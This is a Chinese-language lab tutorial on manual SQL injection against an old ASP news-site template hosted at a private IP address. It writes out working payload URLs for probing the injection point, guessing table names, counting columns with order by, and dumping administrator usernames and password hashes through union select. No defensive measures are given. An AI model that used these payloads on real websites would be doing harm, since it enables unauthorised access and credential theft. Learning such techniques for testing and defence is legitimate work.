SQL注入是***对数据库进行***的常用手段之一,其核心思想在于:***在正常的需要调用数据库数据的URL后面构造一段数据库查询代码,然后根据返回的结果,从而获得想要的某些数据。接下来我们将利用SQL注入漏洞,对已经构建好的***平台进行攻击,以获取网站管理员的账号和密码。目标服务器IP地址:192.168.80.129,***主机IP地址:192.168.80.128。
(1)寻找注入点
随便打开一个网页,注意观察URL。
注入点必定是类似“http://192.168.80.129/shownews.asp?id=7”这类存在命令调用的页面,“shownews.asp?id=7”是页面传值,就是将“id=7”传到“shownews.asp”页面里进行处理。
我们可以在这个URL后面加上and 1=1和and 1=2进行测试。
http://192.168.80.129/shownews.asp?id=7 and 1=1 ,网页仍能正常显示。
http://192.168.80.129/shownews.asp?id=7 and 1=2 ,网页无法正常显示。
这就表明“asp?”把我们自己加上的“and 1=1”也作为一个命令参数进行了调用,那我们就可以来构造一些SQL语句来被调用执行,从而得到需要的信息,这就是所谓的注入漏洞。像这样可以调用命令参数的网页就称为注入点。
(2)猜表名
***进行网站***的主要目的是获得网站管理员的用户名和密码,用户名和密码都是存放在后台数据库的某个表中,所以首先我们得猜出这个数据表的名字是什么。
表名用的最多的是admin和admin_user,我们可以在注入点URL的后面加上这样一条语句来猜表名:
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin) > 0
“select count(*) from admin”的意思是统计admin表中有几条记录,如果admin表存在,那么这条语句就会得到一个数值。只要这个数值与0进行比较,结果就是正确的,因此网页应该能够正常显示。反之,如果admin表不存在,那么“select count(*) from admin”就得不到任何数值,跟>0比较,结果不成立,网页也就无法正常显示。
如果网页不能正常显示,可以再换一个表名进行尝试,直到正常显示为止:
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin_user) > 0
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from manage_user) > 0
这个网站的表名就是manage_user。
常见表名主要有:admin sysadmin manger admin123 webadmin member manage_user
注意:如果表名实在猜不出来,也可以使用明小子之类的工具来帮忙。
(3)猜字段的数量
下一步是猜这个表中哪个字段存放着用户名和密码,首先需要知道数据表中一共有几个字段。
这里要用到“order by”语句,“order by”的本意是按某个字段排序,“order by 10”就是按第10个字段排序,如果第10个字段存在,那么网页就会正常显示,否则如果网页无法正常显示,则表明第10字段不存在。
http://192.168.80.129/shownews.asp?id=7 order by 11
通过这种方法可以猜出这个表一共有11个字段。
(4)猜字段名
下一步是需要知道哪个字段存放着用户名和密码,这里用到“union select”联合查询语句。
http://192.168.80.129/shownews.asp?id=7 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user
这里会将存放用户名和密码的字段爆出。
存放用户名的字段一般叫username,存放密码的字段一般叫password,将第2和第3字段替换成这两个名字:
http://192.168.80.129/shownews.asp?id=7 union select 1,username,password,4,5,6,7,8,9,10,11 from manage_user
这时就将用户名和密码爆出了。
(5)猜后台管理入口
这个南方数据模板2.0版已经包括了一个名为“管理员登录”的链接。现在大多数网站不会这样设置的,所以这里一般要凭经验来猜,管理入口一般存放在名为admin的网站子目录下,输入下面的地址http://192.168.80.129/admin,就自动将管理入口显示出来了。
在这里就可以用之前爆出的管理员账号和密码来登录,但是密码“3acdbb255b45d296”很明显是经过MD5加密的。
以上是如何实现手工SQL注入的详细内容。更多信息请关注PHP中文网其他相关文章!